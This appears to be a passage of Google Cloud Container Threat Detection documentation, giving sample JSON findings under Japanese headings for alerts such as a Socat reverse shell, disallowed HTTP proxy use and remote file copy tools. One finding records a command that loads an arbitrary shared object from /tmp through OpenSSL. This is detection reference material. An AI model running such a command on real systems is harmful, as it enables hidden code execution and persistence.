    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_possible_remote_command_execution_detected"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1059/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/0d06f9724af41b13cdacea133530b9129a48450230feef9632d53d5bbb837c8c/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

実行: 許可されていない HTTP プロキシ環境でのプログラムの実行

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Program Run with Disallowed HTTP Proxy Env",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-program-with-http-proxy-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          },
          {
            "name": "\"HTTP_PROXY\"",
            "val": "\"http://localhost:8080\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_program_run_with_disallowed_http_proxy_env"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1204/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/f3bf59164816762430e8cdf5a5d64b4284a86af86245a52067c533c8cd98f215/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

実行: 検出された Socat リバースシェル

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Socat Reverse Shell Detected",
    "chokepoint": {},
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2025-07-22T00:07:48Z"
      }
    ],
    "createTime": "2025-07-22T00:07:54.853Z",
    "database": {},
    "dataProtectionKeyGovernance": {},
    "eventTime": "2025-07-22T00:07:54.627Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/770715367326",
          "timestamp": "2025-07-22T00:07:48.052030557Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "COMMAND_AND_SCRIPTING_INTERPRETER"
      ],
      "additionalTactics": [
        "COMMAND_AND_CONTROL"
      ],
      "additionalTechniques": [
        "MULTI_STAGE_CHANNELS"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/usr/bin/bash\"",
          "size": "1446024",
          "sha256": "bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1",
          "hashedSize": "1446024",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"/bin/bash\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"_\"",
            "val": "\"/bin/sh\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-cups-2025-07-22-00-07-44-utc\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"SHLVL\"",
            "val": "\"2\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          }
        ],
        "pid": "9",
        "parentPid": "8",
        "userId": "0"
      },
      {
        "binary": {
          "path": "\"/usr/bin/socat1\"",
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "argumentsTruncated": false,
        "pid": "0",
        "parentPid": "0",
        "userId": "0"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_socat_reverse_shell_detected"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0002/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}
    

実行: 不審な OpenSSL 共有オブジェクトの読み込み

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Suspicious OpenSSL Shared Object Loaded",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "SHARED_MODULES"
      ],
      "additionalTactics": [
        "PERSISTENCE"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/usr/bin/openssl\"",
          "size": "736792",
          "sha256": "d3738c5257ede884644c633582fae65705399e0dd7e2dee70c4ecbba7af73469",
          "hashedSize": "736792",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"openssl\"",
          "\"engine\"",
          "\"dynamic\"",
          "\"-pre\"",
          "\"SO_PATH:/tmp/libfoo.so\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"HOSTNAME\"",
            "val": "\"CONTAINER_NAME\""
          },
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_suspicious_openssl_shared_object_loaded"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0002/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/d3738c5257ede884644c633582fae65705399e0dd7e2dee70c4ecbba7af73469/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

データの引き出し: コンテナでのリモート ファイル コピー ツールの起動

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Exfiltration: Launch Remote File Copy Tools in Container",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-launch-remote-file-copy-tools-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_launch_remote_file_copy_tools_in_container"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1020/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/f3bf59164816762430e8cdf5a5d64b4284a86af86245a52067c533c8cd98f215/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

影響: 悪意のあるコマンドラインの検出(プレビュー

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Impact: Detect Malicious Cmdlines",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "IMPACT",
      "primaryTechniques": [
        "DATA_DESTRUCTION"
      ],
      "additionalTactics": [
        "IMPACT"
